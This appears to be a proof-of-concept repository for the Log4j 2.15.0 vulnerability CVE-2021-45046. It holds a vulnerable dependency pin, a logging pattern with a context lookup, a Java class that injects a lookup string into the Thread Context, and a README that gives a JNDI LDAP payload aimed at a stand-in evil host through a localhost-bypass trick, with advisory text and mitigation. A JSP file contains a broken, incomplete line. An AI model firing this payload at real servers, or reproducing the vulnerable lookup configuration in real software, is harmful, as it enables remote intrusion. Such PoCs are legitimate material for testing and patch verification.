├── .gitignore
├── src
    ├── META-INF
    │   └── MANIFEST.MF
    └── main
    │   ├── java
    │       ├── META-INF
    │       │   └── MANIFEST.MF
    │       └── Test.java
    │   ├── webapp
    │       ├── WEB-INF
    │       │   └── web.xml
    │       └── index.jsp
    │   └── resources
    │       └── log4j2.xml
├── images
    └── 1.png
├── log4j_RCE.iml
├── README.md
└── pom.xml


/.gitignore:
--------------------------------------------------------------------------------
1 | target/
2 | logs/
3 | .idea/


--------------------------------------------------------------------------------
/src/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Test
3 | 
4 | 


--------------------------------------------------------------------------------
/src/main/java/META-INF/MANIFEST.MF:
--------------------------------------------------------------------------------
1 | Manifest-Version: 1.0
2 | Main-Class: Test
3 | 
4 | 


--------------------------------------------------------------------------------
/images/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/cckuailong/Log4j_CVE-2021-45046/HEAD/images/1.png


--------------------------------------------------------------------------------
/log4j_RCE.iml:
--------------------------------------------------------------------------------
1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <module type="JAVA_MODULE" version="4" />


--------------------------------------------------------------------------------
/src/main/webapp/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 | <!DOCTYPE web-app PUBLIC
2 |  "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
3 |  "http://java.sun.com/dtd/web-app_2_3.dtd" >
4 | 
5 | <web-app>
6 |   <display-name>Archetype Created Web Application</display-name>
7 | </web-app>
8 | 


--------------------------------------------------------------------------------
/src/main/webapp/index.jsp:
--------------------------------------------------------------------------------
1 | <%@ page import="org.apache.logging.log4j.LogManager"%>
2 | <%@ page import="org.apache.logging.log4j.Logger"%>
3 | <%
4 |     Logger log = LogManager.getLogger(this.getClass());
5 |     request.get
6 |     log.info("数据还没有插入到数据库中，没插入---");
7 | %>
8 | 


--------------------------------------------------------------------------------
/src/main/java/Test.java:
--------------------------------------------------------------------------------
 1 | import org.apache.logging.log4j.LogManager;
 2 | import org.apache.logging.log4j.Logger;
 3 | import org.apache.logging.log4j.ThreadContext;
 4 | 
 5 | public class Test {
 6 | 
 7 |     public static void main(String[] args) {
 8 |         Logger logger = LogManager.getLogger(Test.class);
 9 |         ThreadContext.put("myContext", "${java:version}");
10 |         logger.error("1111");
11 |     }
12 | 
13 | }
14 | 


--------------------------------------------------------------------------------
/src/main/resources/log4j2.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | <Configuration status="WARN">
 3 |     <Appenders>
 4 |         <Console name="Console" target="SYSTEM_OUT">
 5 |             <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-S5Slevel %logger{36} ${ctx:myContext} - %msg%n" />
 6 |         </Console>
 7 |     </Appenders>
 8 |     <Loggers>
 9 |         <Root level="error">
10 |             <AppenderRef ref="Console"/>
11 |         </Root>
12 |     </Loggers>
13 | </Configuration>


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Log4j 2.15.0 Privilege Escalation -- CVE-2021-45046
 2 | 
 3 | ## Attack
 4 | 
 5 | ![](images/1.png)
 6 | 
 7 | ## Discription
 8 | 
 9 | It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.noFormatMsgLookup` to `true` do NOT mitigate this specific vulnerability. Log4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (<2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
10 | 
11 | ## cvss 3.7 -> 9
12 | 
13 | Poc
14 | 
15 | ```
16 | ${jndi:ldap://127.0.0.1#evil[.]com:1389/a}
17 | ```
18 | 
19 | ## Log4shell Topic
20 | 
21 | https://github.com/cckuailong/reapoc/tree/main/Topic/Log4j
22 | 
23 | ## Welcome to contribute in reapoc
24 | 
25 | https://github.com/cckuailong/reapoc
26 | 


--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
 1 | <?xml version="1.0" encoding="UTF-8"?>
 2 | 
 3 | <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 4 |   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
 5 |   <modelVersion>4.0.0</modelVersion>
 6 | 
 7 |   <groupId>org.example</groupId>
 8 |   <artifactId>log4j_RCE</artifactId>
 9 |   <version>1.0-SNAPSHOT</version>
10 |   <packaging>war</packaging>
11 | 
12 |   <name>log4j_RCE Maven Webapp</name>
13 |   <!-- FIXME change it to the project's website -->
14 |   <url>http://www.example.com</url>
15 | 
16 |   <properties>
17 |     <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
18 |     <maven.compiler.source>1.7</maven.compiler.source>
19 |     <maven.compiler.target>1.7</maven.compiler.target>
20 |   </properties>
21 | 
22 |   <dependencies>
23 |     <dependency>
24 |       <groupId>junit</groupId>
25 |       <artifactId>junit</artifactId>
26 |       <version>4.11</version>
27 |       <scope>test</scope>
28 |     </dependency>
29 |     <dependency>
30 |       <groupId>org.apache.logging.log4j</groupId>
31 |       <artifactId>log4j-api</artifactId>
32 |       <version>2.15.0</version>
33 |     </dependency>
34 |     <dependency>
35 |       <groupId>org.apache.logging.log4j</groupId>
36 |       <artifactId>log4j-core</artifactId>
37 |       <version>2.15.0</version>
38 |     </dependency>
39 |   </dependencies>
40 | 
41 |   <build>
42 |     <finalName>log4j_RCE</finalName>
43 |     <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
44 |       <plugins>
45 |         <plugin>
46 |           <artifactId>maven-clean-plugin</artifactId>
47 |           <version>3.1.0</version>
48 |         </plugin>
49 |         <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
50 |         <plugin>
51 |           <artifactId>maven-resources-plugin</artifactId>
52 |           <version>3.0.2</version>
53 |         </plugin>
54 |         <plugin>
55 |           <artifactId>maven-compiler-plugin</artifactId>
56 |           <version>3.8.0</version>
57 |         </plugin>
58 |         <plugin>
59 |           <artifactId>maven-surefire-plugin</artifactId>
60 |           <version>2.22.1</version>
61 |         </plugin>
62 |         <plugin>
63 |           <artifactId>maven-war-plugin</artifactId>
64 |           <version>3.2.2</version>
65 |         </plugin>
66 |         <plugin>
67 |           <artifactId>maven-install-plugin</artifactId>
68 |           <version>2.5.2</version>
69 |         </plugin>
70 |         <plugin>
71 |           <artifactId>maven-deploy-plugin</artifactId>
72 |           <version>2.8.2</version>
73 |         </plugin>
74 |       </plugins>
75 |     </pluginManagement>
76 |   </build>
77 | </project>
78 | 


--------------------------------------------------------------------------------